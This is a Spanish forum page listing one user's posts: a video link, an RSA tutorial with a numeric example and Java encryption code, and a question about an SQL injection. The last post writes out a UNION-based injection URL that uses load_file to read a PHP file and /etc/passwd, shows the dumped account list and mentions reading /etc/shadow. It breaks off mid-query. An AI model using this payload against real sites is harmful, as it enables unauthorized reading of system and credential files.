Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - electronik_0

#1
[youtube=425,350]http://www.youtube.com/watch?v=YaFqpy3i7MI[/youtube]

Haber si les gusta.
#2
Criptografía / criptografia RSA
29 Diciembre 2009, 20:36 PM
Dejo aqui un manual de criptografia que me ha ayudado mucho :P sobre el tema

MANUAL....

http://master.informatik.googlepages.com/criptografia.rar



El RSA es un sistema de encriptacion muy usado en los sistema informatico :xD: consisten en el cifrado de informacion atravez de llaves publicas y privada.

Para eso existe un canal de comunicacion en donde los 2 usuario sea A y B.

A: genera 2 clave 1 publica y 1 privada.
B: genera 2 clave 1 publica y 1 privada.

La funciones de encriptacion y desenciptacion en RSA funciona de la siguiente manera :D

1.Escoger dos grandes números primos, p y q (secretos), y calcular el numero n (publico) correspondiente a su producto,
                  n = p*q.

2. Se calcula fi: Φ (n)=(p-1)*(q-1)

3. Se calcula un número natural e de manera que MCD(e,fi(n))=1, es decir e debe ser primo relativo de fi(n).
Calcular el entero e (publico) tal que 1=<e<=Φ(n).

4.- Mediante el algoritmo extendido de Euclides se calcula d:
E*d mod fi(n)=1

También puede calcularse con:    d=((Y*fi(n))+1)/e Para todo Y=1,2,3,... hasta encontrar un d entero que satisfaga la ecuacion :D.

5.- El par de números (e,n) son la clave pública.

6.- El par de números (d,n) son la clave privada.


EJEMPLO Explicado...

1. Si alguien quiere mandar un mensaje m a algún usuario, entonces la clave pública n y e del receptor para generar el cifrado C.
                    C = m^e MOD n

           n y e = son las claves publicas :D

2. Entonces el mensaje C puede viajar sin problema por cualquier canal inseguro.

3. Cuando la información cifrada llega a su destino el receptor procede a descifrar el mensaje con la siguiente fórmula.

                        m = C^d MOD n

4. Se puede mostrar que estas formulas son inversas y por lo tanto dan el resultado deseado. m y e son públicos y se pueden considerar como la clave pública, la clave privada es la pareja (p y q) o equivalentemente el número d.


Ejemplo con numeros asi se entiende mas facil :D


Código (cristografia) [Seleccionar]

Ejemplo
1.- p=3 y q=11.  //numeros primos
2.- n = 3 * 11 = 33.
3.- fi(n) = (3-1) * (11-1) = 20.
4.- Buscamos e=3, tal que MCD(e,fi(n))=1
5.- d = ((Y * fi(n)) + 1) / e = ( Y * 20 + 1) / 3 = 21 / 3 = 7
6.- e=3 y n=33 son la clave pública.
7.- d=7 y n=33 son la clave privada.
Cifrado: Mensaje = 5,
C = M^e mod n => 5^3 mod 33 = 26
Descifrado: C = 26
M = C^d mod n = 26^7 mod 33 => 8031810176 mod 33 = 5



Cualquier duda consulten :D

y agradescan igual ¬¬

xD






saludos aqui dejo un codigo en java que cifra y decifra con RSA :D


Aqui dejo un codigo en java para usar RSA :D, permite pasarle como parametro el tamaño de los numeros primero que se generan para cifrar :D

Main.java
Código (java) [Seleccionar]

import java.io.*;
import java.math.BigInteger;

public class Main {

/**
* @param argumentos de la linea de comandos
*/
public static void main(String[] args) throws IOException {
if(args.length != 1) {
System.out.println("Sintaxis: java RSA [tamaño de los primos]");
System.out.println("por ejemplo: java RSA 512");
args = new String[1];
args[0]="1024";
}
int tamPrimo = Integer.parseInt(args[0]);
RSA rsa = new RSA(tamPrimo);

System.out.println("Texto a cifrar: ");
String textoPlano = (new BufferedReader(new InputStreamReader(System.in))).readLine();

BigInteger[] textoCifrado = rsa.cifra(textoPlano);

System.out.println("\nTexto cifrado: [");
for(int i=0; i<textoCifrado.length; i++) {
System.out.print(textoCifrado[i].toString(16).toUpperCase());
if(i != textoCifrado.length-1)
System.out.println("");
}
System.out.println("]\n");

String recuperarTextoPlano = rsa.descifra(textoCifrado);
System.out.println("Texto desencritado: ["+ recuperarTextoPlano +"]");
}

}


RSA.java
Código (java) [Seleccionar]

/*
* RSA.java
*
*
*/
import java.math.BigInteger;
import java.util.*;

/**
*
* @author
*/
public class RSA {

int tamPrimo;
BigInteger n, q, p;
BigInteger totient;
BigInteger e, d;

/** Constructor de la clase RSA */
public RSA(int tamPrimo) {
this.tamPrimo = tamPrimo;
generaPrimos(); //Genera p y q
generaClaves(); //Genera e y d
}

public void generaPrimos()
{
p = new BigInteger(tamPrimo, 10, new Random());
do q = new BigInteger(tamPrimo, 10, new Random());
while(q.compareTo(p)==0);
}

public void generaClaves()
{
// n = p * q
n = p.multiply(q);
// toltient = (p-1)*(q-1)
totient = p.subtract(BigInteger.valueOf(1));
totient = totient.multiply(q.subtract(BigInteger.valueOf(1)));
// Elegimos un e coprimo de y menor que n
do e = new BigInteger(2 * tamPrimo, new Random());
while((e.compareTo(totient) != -1) || (e.gcd(totient).compareTo(BigInteger.valueOf(1)) != 0));
// d = e^1 mod totient
d = e.modInverse(totient);
}

/**
* cifra el texto usando la clave publica
*
* @param   mensaje Ristra que contiene el mensaje a cifrar
* @return   El mensaje cifrado como un vector de BigIntegers
*/
public BigInteger[] cifra(String mensaje)
{
int i;
byte[] temp = new byte[1];
byte[] digitos = mensaje.getBytes();
BigInteger[] bigdigitos = new BigInteger[digitos.length];

for(i=0; i<bigdigitos.length;i++){
temp[0] = digitos[i];
bigdigitos[i] = new BigInteger(temp);
}

BigInteger[] cifrado = new BigInteger[bigdigitos.length];

for(i=0; i<bigdigitos.length; i++)
cifrado[i] = bigdigitos[i].modPow(e,n);

return(cifrado);
}

/**
* descifra el texto cifrado usando la clave privada
*
* @param   cifrado    Array de objetos BigInteger que contiene el texto cifrado que seraoct descifrado
* @return  The decrypted plaintext
*/
public String descifra(BigInteger[] cifrado) {
BigInteger[] descifrado = new BigInteger[cifrado.length];

for(int i=0; i<descifrado.length; i++)
descifrado[i] = cifrado[i].modPow(d,n);

char[] charArray = new char[descifrado.length];

for(int i=0; i<charArray.length; i++)
charArray[i] = (char) (descifrado[i].intValue());

return(new String(charArray));
}

public BigInteger damep() {return(p);}
public BigInteger dameq() {return(q);}
public BigInteger dametotient() {return(totient);}
public BigInteger damen() {return(n);}
public BigInteger damee() {return(e);}
public BigInteger damed() {return(d);}
}


aqui las cap :D




#3

Hola bro tengo una duda :xD:

hago una sentencia de sql injected y no logro leer un archivo php, pero sin envargo si puedo leer el
/etc/shadow :)


me parece estraño la sentencia es esta


http://host/sql-injected.php?id=-1+union+all+select+1,load_file(0x2f7661722f7777772f73716c2d696e6a65637465642e706870),user(),4,5,load_file(0x2f6574632f706173737764)

y el resultado :

Nombre: aki y en el source fuente no sale el php ¬¬
Clave : root@localhost
Activo: 4
tipo usuario: 5
Nombre usuario: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false saned:x:106:113::/home/saned:/bin/false pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false messagebus:x:108:117::/var/run/dbus:/bin/false polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false master:x:1000:1000:master,,,:/home/master:/bin/bash mysql:x:112:125:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:1001:1001:PostgreSQL:/opt/PostgreSQL/8.3:/bin/sh Debian-exim:x:114:128::/var/spool/exim4:/bin/false honeyd:x:115:129:Honeyd daemon,,,:/var/log/honeypot:/bin/false tomcat55:x:116:65534::/usr/share/tomcat5.5:/bin/false tomcat6:x:117:130::/usr/share/tomcat6:/bin/false

Inyeccion -----> SELECT * from bit_user WHERE bit_user_id =-1 union all select 1,load_f